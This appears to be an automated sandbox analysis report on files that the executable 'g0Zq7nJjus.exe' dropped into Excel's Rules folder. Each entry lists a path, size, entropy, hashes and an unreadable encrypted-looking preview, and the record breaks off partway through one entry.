Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1782
Entropy (8bit):	7.88351268340058
Encrypted:	false
SSDEEP:	48:S9HzZycurnb9AD28/rIO5caTzQMj6qxkoD:sdYrnbeaUrIedzQMVx1
MD5:	6F1EBC54AEB4CC8352B205133B83F7F0
SHA1:	BBB0D249EDB6A491A7CEEDCE2513BDC67CFEDC4C
SHA-256:	61DD558AF1B7A8A4C70C4D6EC9D6439F2E2D3108DE0823A01880A2B3E61BAA6D
SHA-512:	70BB538FE5ABF273B5F0B849633A6D059812E74C57EDE4B26D7BFBE21EAEB056F14FF3640309D68D243163DAA0D72A0476E14A1D89D5EF7DFC5E78E48155AB4F
Malicious:	false
Preview:	<?xmlS........nB..^9............/.......j...........Y.E ...YRs~S.6.z.r.....am..X..d.H..g.(.._....V5:.=.=5.....u....L5[A.P..J..o,..W7!.Ku.I...si...^.....6.1.8....3.4.#.....e0......hv.U....7.R8.f.........D....7x......V..>..NY..m.E.@oX.9....)....9.R./!<.d.{.2...}......X..\K}-DT.a..={OF..E..L. ...1..._...........;..Y.7.9.x..V...6.$.7..D..4...W..`...x`.L.0....j.S.$.B.....:G.........cF...9...JBm.=V'...#.....&....eI...W`.M.6L."x.KXF..O.DZ8...E#...ahR..i_.j.K.....U...L.[b.T/..2.x+.....Q.q....6FQ..{..#.X.\|@..u..3v.....%.F....N^J./8..X.}.?..&..;..?G.;.N&w.."..1.(..h....#i..$.1.$.>..k..../u ."...._z.D..t..J.......Kh.T.....F...l...g/..?5..~.F.P..'..I.......r.^....)..A..^\|...E.}V.@%..[..}.W.%V....xo.u[...N.,.'.$..3"}..1&.....u.OVV.H.S..9....R8.M.....9..).D[vV...1..ojG.p..4....w.5.l......8.d.Z,}.....k..L...aP.b9z?(4..:..5.vA..PqL..f.....r8N..0z..S.7.].W......$.u.:.'.Qt...i.q.ho&...... .A..4..`......F4.zS:.vz.7...w....y._n

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510046v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	791
Entropy (8bit):	7.705076606675499
Encrypted:	false
SSDEEP:	24:TgBRnutE09IVgCEz5XEhFKZD1OdxfOv2bD:TgaCiIV8z4FaDcRpD
MD5:	02B613EC0FD9AF08702A1C4C97470FBD
SHA1:	95E1EFBC66051E511F188495DD69963FA0037A25
SHA-256:	9A972C10C49E42708127A408E6DE31160BC0F427D55335CD450A6D2614A90346
SHA-512:	F50FDDEED4325AA374C72FB3DFEA4E2BF76E1C3BD69333B2358BC6B8B1CFF41298A14879FE18881FFB70443A753577DD3EF52C179ECB42772E830C6B3992F63C
Malicious:	false
Preview:	<?xml.F....Si..}......7s...\.....l....}#....f./%x.D^M.N....q.X..9.....LW.........7I....Kh.hS....}...K..3b...$5.Y.t4XVs..&{....N.A.Cf..)..K.H@..9'.C".a'..F.<..3m.b.+..K...V.?.i.C..E..#.3q#....g........l...p..g..q<....Z....1/..O.1.".A..!H...k.N.%\......#.....,7...bb..L.XO...8f6w.-FJ.k....[W.i..+?~.....r..:3.a.o..cjx....a..6.v.....r...:7A.n.yrDU.........._.?[.#..`...+...bh.]".....'\|.u>....x.4.af...{..D.;.U.T7....O3s.....Y...>...F.2z...8..%J....f@....\|.C>..QC7h!.L..b..U0..c`G..j...n....Rs.1.k..A%...........O.......h.2..VqW..i~1...El5!H>n.."...P.1..L....faC..E..:.@..E.e..R<."z[.T......n..3.....w..8...........`/h...::.4/..0&....&-.<F..xQ...3$......q.-..j...f..9...mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510047v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1082
Entropy (8bit):	7.803096696044156
Encrypted:	false
SSDEEP:	24:9Gr498OSOYaufvS90+K/Ip0aw1T0JSufw0Hyn6GiOe3FtbLmxP2bD:9S49XFYauS90rQyPARHP/1tbqxsD
MD5:	38D4AE9E29AD2386E66DEDFBE88D5F86
SHA1:	AC6D20055118E667C6A730A56FD5AF6DB9CB6A1E
SHA-256:	E0A5F9E4DD456BA9C0BB1C893925EDD139E75B796361FC483D775DF30F5BA08A
SHA-512:	5D4FE5C0935675BAC55DB9CD5F84599659C0466FD7206315CA9C985E444952372A41AB72ED31EC285D27A03F4632BC61CA4C99C6988C36673F5769414D2EB108
Malicious:	false
Preview:	<?xml...yhO..Q+.d.k....p..........vJn\|.......TU?1&...U.w..aGB.[9....=.)..QR.d^..&..Q!s..UKAh..!L..]...u....0....X3.....~...O)d."......K1._vc@=a.....D.Q..=V.....T...&.(.....@].l.......a....Gx.....\..@+Q..T..$F.a..n...\O.n=.e=r....g.jW..Pu....j..C.02...J..4.X....d.;5.]...-.Q...\|..A.N.0.-).'l..AB.C....)'l......R...LYdpi..XK..n..>'..?xEk\........$:9..N.{T..\)D........R.3..7.3.`.C:..{....._...\|TS(F~!.<a7..k......J.6....MD..z..S....9..~..E4s.`R..=/.h$...6...C.0Q..D[.].B7.k..I~.A!.....~.....}.h..@V............X. .-...^E..pD.a.......>..g..^...Bej}@8).oD....t.W9.m....01...2$>P.u..?....[..9`\.P.8..Y.7...MjBk..$.../.3..`.W^3XW.r."5[%E.F?)..%....^WrX..(.F._Ds....].'cGe..o.`.w~[.3..X...].Y.@.o)..!...k..q...-....E%.Z>...0...Keh.mk..~..B,....s...ND.6.C<:.....).R<...9..G.1.4d...mE...f).FP.S......-).+....c=?{=.5G..F`\|....0V..U..;A.O!..`.ZC..@...^....{~z>..%.........Sk...........5$...<.....5 1..tdB._j0..?.N..Z...``..3]X....z'.5.....6h.7s.(p.^...)..i....5.;&.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510062v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1061
Entropy (8bit):	7.843505287251976
Encrypted:	false
SSDEEP:	24:KpGZ1Cdrl1vF4ESkGpaEZ+ceSbo6bdPNwu8fsJVoWpsgG2bD:KpGZ1mrvF4EUTleuB5P8fsJVoWpZD
MD5:	A62FBB17ABD0EB59E9DC28CCBB0C53A1
SHA1:	435AA949E5ADAF74A27D9FA5D8B9FE2A95CAA70C
SHA-256:	F9EBA390CA7F5B39060BFD6D2A7BA21C2C11FE71F79B89D69A7672B31AC1C822
SHA-512:	7E83FF8B13D8359661FBCA71C9D8AD96D56C8028E0BA7D7511ADAEC9C967D6D936DFDCE12F3DC1CF5AC6BA5D82DD3648B953999BA140C46EF1EB154D39BA416E
Malicious:	false
Preview:	<?xml..,.fJ_..?r.oPT>n.r..1!a7.+..tT/h.....N....(}2..i{.F..1,.3........h..!.yn.k...Y..(V(.X.'.#!S..Z_..t.....N...P[.0...>T.c.+.y3ob....}.II._......>...EAs.'....K?..YE.l#Py....B.F.^.;8m....=y..XeI.K.I.....U..{.+.@P.U.\|..iX....}_s....1......... ..i.....<.......=\.E...k.!.:V......(a...d..\-...........O>.J.ZU........g...a..@.'7.7.d...W..4.(.8...j....hu...c..p<..../4....z..s/.,T\|....R_..-{...3....K^...5...}.&.=..yF.2/..O'Lo..."..t.i.:....50.b.=...._1..j....../...t#D.M...<.?..l...~..(gm.i%............Z."d.....?Y.28)..=.hIsRT....>l.}...?...3...~.z........vn...s.H._.6...S.h.R.....>...$V..{IW..~).n....n..z..N.-.`[.HD.4Od...F...,....4.U..o7B..0eK..q....j.........N.+.`t;.}..c..^+..m\|R. ".`}.HOj8..<.....*.A[.f...1.x,..V..~.....5>...............d;c.W.9.zZ.@.EQ.#.....q..vD/c..JM..V....\8e..e..`..%RkB....$.].....[..Z..3...L....5+.....q...rv..k....S.fC.).`...r...&.B...R]~.A..f.a........d^...+..s.._Q........`.F..V..........:EmMsRxMUuXypapZbGO

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510063v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.692029736891528
Encrypted:	false
SSDEEP:	24:CE71wnVorQnr9bcmaOjWsn1EDwN2rh2bD:CaMMQr5cgW5DsD
MD5:	5AC6FCB2100C61C0B5A500BF7346A3D4
SHA1:	167E7F63F1393A2E5782C6DA93A8210D1403F025
SHA-256:	7259737BC8CCBC904925342D1F4399801B49D081CB15E8CDA905F8C1D327DC40
SHA-512:	CF286AEA6A8D6C0040D214BD0CF711728352906BBAABF08E164F7A93E36FD61332D9A635F7E1487BB025A3E9AFB86CC3E470B50722755E1B1CD776B4AC359AF1
Malicious:	false
Preview:	<?xml.\|J......j.w.....m..&.....f..N.F..[@.9Nw.u.=..$.Qc.$R#(....GK\3t^...A.=..,J......D..,6..<k.k3bBp9.i#^w....q&..!~..U....6.$..M..........q...<q$Xv9.........tAt.uFW%tA....C.<Kq;...e.3..........Xi% ........t.n...M.....N.3.7....h.2..<.8.s..>7.BY..Fq..a^.M8h.....>wPg.....E\|..45C......A.h.<...'p..Z.t1.ZH.Q.g..........3z..nx0/r...bD...$.mf.......-p7...F..%....X.k.th8...A.Q.`_.4...k[.>-uw.........~A:..'.#.v.4..>f...q..c..+..M.?...pCZ.?.@./ (.-)"._.\|..6/..j].\|7.S.Q.....$(\|vR....1..[.....n....._W3..0z}............0....%Q..l.....[..t7q...._TG.X.\|C..=f.oa.l.d.a..k.g..5...}...#/Q...0..~O..........>uB7^.h.V....@X...w.B.v3..P..v...L..2^W..t....`.$(1...1....W...=...g......t.c?..[q..-/.S.]......mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63028v4.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1485
Entropy (8bit):	7.88879238853704
Encrypted:	false
SSDEEP:	24:OPzzznYOKGhTCEFl1mIEWghqjvMl9dv6L+WMvTYR/JtavpjVGdFB7C2bD:wniGhVDoO7w/3L46VwBVD
MD5:	60DE93CB2DB41ADA4EF696613050C374
SHA1:	D81E2325C9F9B2FCA8FD74D0917E8181D50F6242
SHA-256:	9CF7C6D8ECD28AF1E08EB3303B77E2B16DCDE1E0F466FC3B57EDB44B6670BEC4
SHA-512:	1DDABCF61FB4B911C204172D05359C7762E1788A8A67687FF3570FB9C560481D231B11704F2A348C3CF6D25F15A0A9C8E134242C7D66F75A0A8EA09002F3E0A3
Malicious:	false
Preview:	<?xml.<.y!..;.]....P._\..4C.t.-).T...)...I{............4.=.e.;8&.Pt.m.2..Z.`....F.....~.......(.2Q....gjI..Z.g.rG.:.K...._.";...GI...qL1.F+..$.l.z"C>4.J.$..`.0.Y....~.k..l!kL.\|.....0.....Zeq....\..7wS.. q..j.3..tI8.`..r...m....fN-@QS.8}gBh.(>..m.....E.R.eDR..6.......J.v..(B.\|.m_%c.`...x.....Xm`U.;.......e..9.xH........d=.H1!.eH..p...9 .....D...r$...:....6]..).N.}.9..\|...p8;.\|..(.$........b..[..]..kS^2..g.x.Y....\|.Z..U....\:.u.......-"...G7..S.W.,KC[>.fgx.4.)-.......+..w.f...5.......N].d..O...B. ..Z...=9....].$ .P..2Y.......O.3zR.d.......Q.\.....%.^.a.!..R.....^R.....Z.d3u.K..oQo%a..a`^s.3M........_.k. ...O.6I\|.....n..F...q.;S...^..>{..[..G.4A.1.....$.)@.e..t..Lg..Z.C..?M....ei"....{.Jt.z.+...4CG@...H..X.'.Ur..~...z.e....'k....,.g.8.L..Kyc...~...sq....\\...1..h..L..T....&....../u....!.fAy^.l..k.{...`.$. ..%."...k...%..kkI..j.tx....r1.-......,....%N.\|..z.}.!..wj..lG3.Ln..B.......Z..."..........D6...{.8E]....$W..A..1.@.I.W..X.)L....<.iJ..\|j..+..'.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63030v2.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	7.869125890322563
Encrypted:	false
SSDEEP:	24:W9HjGaKm2uYlVu+Nr0ZSDS4A5Q7r3SPcNFrycTLsOazCco2bD:WNj6buYlZPu4A5Qvzy8LsNCcD
MD5:	FB15CED00E02094B0F5C6207B25FAE64
SHA1:	D1B6F328435326168560D5C551DADF7CFC65FC70
SHA-256:	091E87AA556DEF6ABAAEC804EA0569022889315A4BA0B4167C0B2EE8A0F72EF4
SHA-512:	7673D4A28EFA8AF606A1F4F723A0DA8491BE5783C7A65A46B6145E2216FA62127F9D2EA8F1186F17D31FAA3A52DFA99EB7AB39B002477CD88CC50ACA2C9AE403
Malicious:	false
Preview:	<?xml..K.j.4.N.....\|n..^.?..'.1;Y.j>Y4P.o....U.c.m.\....".......k.\.....(..v].4..5.O...&........vJ....{..^<..=.....&....W4o0..,.....I=o.@..k.c"..T...V...Z.A=?.Q\|.K.G.Ya.no.0..N..a.'.c>98.cu...Xt.i.3..(g....W...[.B,u..0h..N......;,.[........{"~j,:c\^..}U..{..:..m...mM..z....f........G.)..r..1t/e.G....E.A.......F..?.X..!....3..,b....J....p....T..%.....N&}..C...8.B........C...l...[+.S..s......'D.@..P..c...-6..r.d.....\..\|^g.Z....n....,..e3x....................%(9s....%R....$P..s.8..`..4C{..B...ZI.{d.+K,.....h..:C.....J..0..\..T.;.5..V.k.E./.....c..A<....g;.4....b.....]5c..jQT.e.lB....R..)..x..... P...B:.* ,.)...!s...6..A.._...._.5R.h.Aw.._.=.1..}.;hE.z..s.].w...\.....D.7:.. At=m..RTF......fW%.......H....J.%...J:{?..`...D^..(..a...Y.-{..DV.<<..E...2..d../&b.J.A{`PR..4...\..s.....\|.8..0...F.rS..m.O....$..AxqsH........'eV..A..h/i...%.....H-'.....I..O..n.Vclx..W....yX.BE.....y.V.........0...&.3.c:.(..U.^.W..I.~.."....!p.j.7d....R.YI<.... .D...U6.e\|).

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63038v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1261
Entropy (8bit):	7.821387690307237
Encrypted:	false
SSDEEP:	24:T7j6wzsiagtwwxYg8r3EewqZcEPNudlLzOGCMo2bD:1zf/wwxWr3Eezc+ySXqD
MD5:	40554B8BC0F2F195F875E4576D2B8C77
SHA1:	A1B12BFD45B5243F179FEC58566C2E104EEC3341
SHA-256:	3228E5025740639F4E2EC9EC3A987A16D58C95C86ACEB785126E8400AB1B537D
SHA-512:	51C57A4B56225FF080575BDF89BAA14738D07F27211B347110319A9C0E8AB551456CCD71761168FA83C0108A51E9E12397989A0A269BB6484B3BBCDB83F0E619
Malicious:	false
Preview:	<?xml.......tSmh....Qy.p.S.J.....p.6......I......g.....z......<Tg:...`X..6....J...P..W.!.......e.....0IDp.ch....,.-..E.....E"...h.h......C.,.....;.i..i..V..,.Gd5.....9sG$j<....5.M..Hj.".....o...E/...q.@...$0X....).,...0...r...~.a.q...(G+P.2^..._qO.....>....0 .6.Yqz....?..J.C..!m.'5L. ..,....wI,...M...G.Tf....Zh.........i.k.Q....b.^..V{..0....6.{..\T......\.......... .....?1.ed.....a\|B........E..[)..D&..`G...%...N.....B.-..\.^p.....x6..3.`..A...\|~..i../? .Wh^.\|I...9...V....j0....Sp{..$.A{;4....}D......Q.O...F.Y>...d.JC1S.5`.....2..1...B.....^1.kTC.....!..O.:....~..?....a,.(.9....7.!.... ....j3.f...?@...Z.&u..Y...t9.3.....sKb....Y.k....."[....Am...^1..&..c.GM..g,......U.....,..."......L.UQ:i:k....+O..mg}.rr............g0....8.b........O.I...2y.w...)..L.y$.o..k...+.C.M../..B...g...fl..y...@.{.%...Wt."....PEQ.,3...H.......T.\.'c...Uv..s}9.c.{..s.k..p.......e.....pZJ..C.{.F.4.d.`.Ua..H;#.g.4...3.h...".wn%.T..B..5.D.....Sz......Qv.....o...Eh.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63040v2.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1268
Entropy (8bit):	7.8317626703921
Encrypted:	false
SSDEEP:	24:LP4erDtSxyMyXw6blQl443POnXsdQ1fnrz5bIPAdDkaK7KNz7cy8WJA2bD:LPBtIycl4xV59sPAd+7KNcyXzD
MD5:	179E53F73F3A6C5F8FEE4937C2253E69
SHA1:	CD81005AA103826DC3E32DF0A5666A6F5018BAF9
SHA-256:	9F7624EE543BAE65E50E8A0CE9EFEECCBC2E70C9E14294CAB27DC6B4B1E637B8
SHA-512:	5876D3835A3AA75E4C5E41554EB7A826E1837DD809CAB379574767CDEBDCE7D353211335234840690637CF1865CBA903634DE4D14A58DF0D38433A7F14CBFB77
Malicious:	false
Preview:	<?xml...h...Dd.R8..Xb.#...z........R$.C..<.N^.0.u..../a..Y.o...Qu+U.vU'.a5.....s..Qh.T...a..wO...6.U.d{...e.q.U... j...".-..Y...........P.w...<....P..E.m..%..."y.....q.b..r...O.hr..5.B..\|..]-.}...'..`.,.....5.~..n..D......z.)W...%.%z3._.&\.......$....&..F..._.Om.4..W6yp...Y_....D..n.0!.`$....0.B.70.0......Q..k...B......z^. ._..g. j...{..?l...9Q}...u.h.2..>(..08\.\v".B<~..c"....?.....f....Ny..R..'..=S'...T....L. .C...d.~.l.o...>.(W"#IzpJ..B..D.j...m.a...;.....8'.......+...-.%N....Sk.......q.....U..N.fG.B!..L. ..".C1..\|..-....K..[.x...o...._...).(.B.6Hr8.....%...(...O.....J........'.....`...k.S.......\ .;Z=.-...z.{?...F..~n....4V...&l ..\|.../..Gu.C,.R.!.\|..W..`.....1(+.%..........'.'k1b...vbh..\Z.[....m9d.k.}.%x.b.../.M..~`s..B...U.....j..w.<.......t....0.y.oh.".x...36..c..hk.q.U...dEa....C..2#.o}3q../..S0rr\...N.==s....V..+W..~....v)D"4M...qO.I6.....,..'.....G_....X2.r.j.~....T..y.....{d..H8. ...*?...Z....W..d...2."".{.cf.5[SD....m....-#

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63041v2.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1815
Entropy (8bit):	7.887228104475435
Encrypted:	false
SSDEEP:	48:JZuywQRp1do352SBqB8kvLvXP265DlZ7WF+wD:fuywQnE3cSBqGkvLHf5hZSQs
MD5:	CAA1882C7F608C2ECD4AA77CEC7D8D6B
SHA1:	AB6E5E445F00218CC3939BB4D1FA9D5E47769A3A
SHA-256:	C44D29BA5A3A8C20B92FD2FFD37293F00865C34AD7B3F893A35EC5D11C33BC84
SHA-512:	900A5693CE80F272BFAF2CDEC3BEB0A0E6B882B663CE03E2DF2A1CAB98688D41BC4116E658763B5607DF8DADCD14FFD3CDF241D25CE03F7DE03FDC9ED9DFD635
Malicious:	false
Preview:	<?xml..tC\|6...O.U).x....1...+....$..&.T^.....b".}h..M{..Ayb...~......`.e.C].D.I...F._..@.Z/5;.W....y.g..$..L}..aX@.h..@..f........^..'X.uD....n.x.nb......[..{..>.d.k'..B.....!..e.uR..6.zB.....A.'.E;....@).l\.V.6...O+.G.,.1...D.j...0......u..t.}..........8.-.W.\|.B.D..?.L.0u..5B...ve.~.(....S....A.MF..HL.G%...........GquA......\..m........9.v....)....,...Zc..'W..S.......G..`.h%n'...@;...,w.....`v0..o.-L..y(:9....d...! .O....@...[C..`..;....;..0@Y.#`.No...gH.e...s.q..D}...0..;.U.......F....\|.....C.N?Y....d..\|.WA.o......"Yw7..{=.....:H$..%..3....$.nq.<.'..^B..!s.[.f.3..@q..S...'IG#3...n.....a.....D......Fc.....Q.....m...E.jt...q5....2.D......:...jY.DC.vi...........7.B\|lQ~t(...D.F.M..qJL{A2.'C.......x.../..HwR..VIOK...m..54._.bT.F...!+.!..w...mS.zR&.]6lU..U.<l2j...Y......;s..+..Em...)..,.UE..-..J....^`y.c;....... ...........X..C;_<.A..1..i...z..y..~...mGt....G"..\|......r.....^w..5.z._...A....C....MA'.L.W...Fd....-Ps[.r.{.!.<..J.=....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63042v3.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1004
Entropy (8bit):	7.7911243113737365
Encrypted:	false
SSDEEP:	24:AcoMWxYgvtHVosouV8Eo4aTe8SQi3oF8uSus3upHSJZso2bD:AIuVosouVji5i3ltD+oJZsbD
MD5:	0A044A73114D9A2DFEC789AEB7B3E9D8
SHA1:	28ADD8938A114644218E07FBF87622D4397F504A
SHA-256:	537BAB35467D4E7645FF0BFD1B6C2B53B164C3154756A8B6DCB10AF3D09997E0
SHA-512:	84CB3A19C0C65F21E289A5AB7EA645173C3BF0241EEDE3C3678B5069709166C7C888936B908677DE542D40E90B511ACD21A9DEA5D67A5A9A2DEC0DD8D6327E7B
Malicious:	false
Preview:	<?xmlZ..\}k'7.r+_..0&...w....j..q,..p....d...@...I...-.....Q..^...... ..:g..<.+......[...N.:;..y..1...\|]....Ay.5..Ki....O....).8..Q.XH...x.O...\|.......o.Q0Z.47.A\|...-;F.(.J.."I.g.....9......TrPd.x_....Z\.U.t.Er..1...].~..C..gu0...&6..b..a. .0)....$..F..,[m.....<P..?..y}._..........vq..8.D.HD.b.8.5...\|....1...f.s......]......"-..U...q4.3.v.E....M.".........+=...W.....<.1.P....$..@..../OKh.....K6Xk9+..#...-s..L.i. ...B.L. ..Dq..s4.u.i...19..p...+.....~.;....F..TEH].;f.s.8..Q.....{bLtZ....w.......&..,qB%W/N:U..'..r...JVk.(..N...K\|.K.K..N{w..<.......$.w..ImE.>..8....0)Q...m..r .u..L...k...q-.ZZ....Y..xQ.E@.......?..C..\..xD.E".....#Q.%/.z?...?P..IH9....}7....Y.`(..&.".1...h.....^........q.y@;l*~...eij.J..}.....n..I/.j...........,B4...ZX.......4..VO.0n.s:.u......r".hT..0;......T7.......7m(...d...IF....?(1....,w.!...`.<.....H.l,nT.c$~.I...q.X...$..D..SZ.'...WP..u.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63046v10.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1950
Entropy (8bit):	7.900273833112549
Encrypted:	false
SSDEEP:	48:UlOt06XhVvAEV6+bEcizvNEZMlw8XWygOUXByiYb69plb4l0AD:qOmuvz6nVzvOqlVWzZRYOpb4l0c
MD5:	83C3DD245C8079DBD29A7AA6DBCFB94D
SHA1:	E96B54C7CA5918F2EA0B4ABFF6027799B7846C04
SHA-256:	853F99EFAB57E180A1C0DEA439413C899F45EA57172B19D0590291C649DC7B35
SHA-512:	CEEEF3F522A393D32A905102E548E31E010254AE10EB1C95733E4E0BB3FEA8EC3BF7DB927E8A90518E657D97434E87550980494B9C43C8230BB5B95B68655C64
Malicious:	false
Preview:	<?xml....qy..k......\'..9..%.[.a:I..S.U...[\.Og..7.o.8<.NS......J.T....D.[]&x.._Y.G...\|i....G.....i.wt.y?.g..W..<.Z_G...,..K8$...F...3.........5.Qe...8........Q...\|.f.H....D@.Dp......l-0.y).6\ ...S.@.`0..h.\|.}h./.:s.....V.....s.......B!...m........(.M....U..e..z.=..;.`k.........hL.0.;.I!`.>...z.....#.....;0.....%b....oU-qy..NST..........Ri?..JF...B.`....)......]..H..h..i.'-."J.G.o..%D1....D.!...9z......U(.Hfs;..3...3.3o^N..#..l..,y..................p..MT.>.W..#...ET.....aW.y...k.c......8.)...R....@u.3W"M............SA....Y.>....]`...:.J.-....C<I..{u.\..@...@..2v.%B.d.;\|.........;.{.n@STZ.ii....\|L..i.].b.0(........3..zz..d.....B..E:..r....w.P.l&.4..bI:7......a.M.......}.+..14..B...N{eI..J7....XT.Nd.Cq..?n..b\[.... ny..T1tA....+.!.=.(...//.J...>A..K6V.:.d.Q.....&..M....A.....{l....S.....@.I....S.....yoM;..F^)8...}..E..............v..KM\|.5?..W)M.%vsE.yr..a........~..G3WB...S.Yq.....EEF..O......#....V..9,......c_..9..'w+.#..Ei...zk.....:.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63048v6.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	4121
Entropy (8bit):	7.952856323212887
Encrypted:	false
SSDEEP:	96:/4lXJBUK6iesolVtPb91bhC6hyTqJgXNB1Cw6uVHV9U8nFzjT:/nK6iesolpC6hBJg9B1CyV19TFXT
MD5:	08C4BD34BD2F6AAC09F6F9F287229363
SHA1:	E4F6FD7A95D5897BEFEE9AE98ABDB2DCA5BB81B7
SHA-256:	315929953E729CAEA253B4B93AD04BA9A669F9667A92156CA462D05675AC0E6D
SHA-512:	A8E47425BA8AA4D652B493682C4ED814F6D05A6E615FC9D04297D2114D805E621392BF37FF56DBF448E686901103BCC102DC274A3C47F6B02B9D28FF343E8376
Malicious:	false
Preview:	<?xml.10...q.!.81..\.g.&<......iL..L..kIt......B...I..".....j..O....O...4....i.Puq....pA.....$.1..Q..}.k.....LA.....yz.:...u-..M....AgVmm...~..B,.S@........1.H}.b....`...U..........D;[..'V~.Y.ieSX.......t.....(.O....}.Co..tJ0.e....C.h.....KE..8...18.....}.&P..........w.\|bD..N.....h..+\KT.Ut.o.X.r.(.0.!..1....E.]EG&.... .j...\..)..i..V.;A..z .& ....;..L>.PJ...T....\..8%+cl%..K=.g......f.UZ...K...Hp.K.....?..x...%....S...>..y.......p.....?.0..5.4.#..L.........x&.+P$..W4S.P.(.%.4..;U..n..}>z%.Z.^.J.....Cs...+...4.........h........es...P.....s.\.....}.z..c.0.l&.TJ.w.Du.%..-An........g...K7..^.Z.p...{K...r.,......].]...".v..........V~...yI.!.0.<^..WjA..-J..a..C...;&.....:?..:..g.t[z.u.\9`....j'OTh......n......M:..t.m^.....^....,.D..'....U.I.v6.....@..1........}..q.l.3B....H.Z....~..c..8h .Q..e..LQwJ.....S.%..uW.x..."LzM.b......6.....2Q.{C.+eu...8z.a\|.X9>..H7....Zm.w.6.r..q..e....3U.#...P..,..n...41.XT.G..\.@."\|..[...4.7.^b....7..~=bKb!S.=..S..q

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63049v2.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1585
Entropy (8bit):	7.881932749459546
Encrypted:	false
SSDEEP:	48:dlfWzgYL6PzzhXN4DK6hXOefe3ZmK1eAD:ygYLbWWOY9K15
MD5:	2FA7A49D076DE859F9B8DAC7C5F3649E
SHA1:	7A3EF55C7638E156D8C7C1C90FA092B23A84F300
SHA-256:	E0CD6EF9C56278B6F2D5951467E0810DF95C16A2867DD5A068DE0B5E9BE92312
SHA-512:	F7B7C8D283CE5D96B901CEA32617FB966A061BF3EFD1A4E5C1C4B130572C4D77F05FD76C6601C4E99EF57B1F6883F7320D5519ED2C9E1581003AC38A565EEDCB
Malicious:	false
Preview:	<?xmlO......U1.....$.i;..T..rR>...{.kU.$`m..>K..i..........>< Q.$.F.t.tR.u#.;qa.X........B.?.\..`.d.B...\x.%..r....}.e.G...=k..k.{...&.g.....\|).{.G...Ic.....i..6..I.U,...e. Q-.S.2.M..@......)f.E......}..A.".t'.c.R..,@..\!.....a~6...Zj:.'>..[...[Z...W.J..#5...r...WR..O.W..!...D...#.m.7mc....2.F..D7.'j.q..0....@.!WV...]..,.L..D.r.7.....^..;2...R.Y....O6.j..RG....D....e.S...Sx.......z.f..........y...Co..1'i.l.#7m.h.....v.]_.1...J.}xJ...g.d...u.p.........%./.i..xY").M}c.=.;.6.Z.Z_...b..&........M;.~...."<......@..E.Bw....8.0........@..^.C2T..JLl..F:Q..s.sgL.l.._./G.Q.5.f.s...m...r2>..}^....K...m.[..W.F>..Bx....&.8;...:.F..)...SHA\|.$%..nW.Y....+..?~Z\|c.z3...G...5..L..B.Z..?h.. m\|U<@&..x..;../....)..f.J.^).'.g.....`.f.e.....c..}(=\..a.(.7r....h.W.Y..w,..B...K.L.cx....O.X[.}t....??.3..y.....,.E.\|....z2~.B^w...0.i.`x..$.Y..h.....m.....V6#...`.1.QR.K...lx..0..*...O\|.n..W,.y....\...'.....'.c.v.....l~&..7\|Un....&.n..S..,Z....^;.....Da....D.!.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63051v5.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1939
Entropy (8bit):	7.892789594836446
Encrypted:	false
SSDEEP:	48:Jxg9ACt74Kta/0MFRJxMYiYQKmG2TPzotZLrD:Jxg9Vt7LnMFR1swLH
MD5:	EC12EEA96F64F7D0CFD390E8DA9BD21C
SHA1:	FDBE096BAFC5FC3E23C220F4FA8DAB0212EDE78C
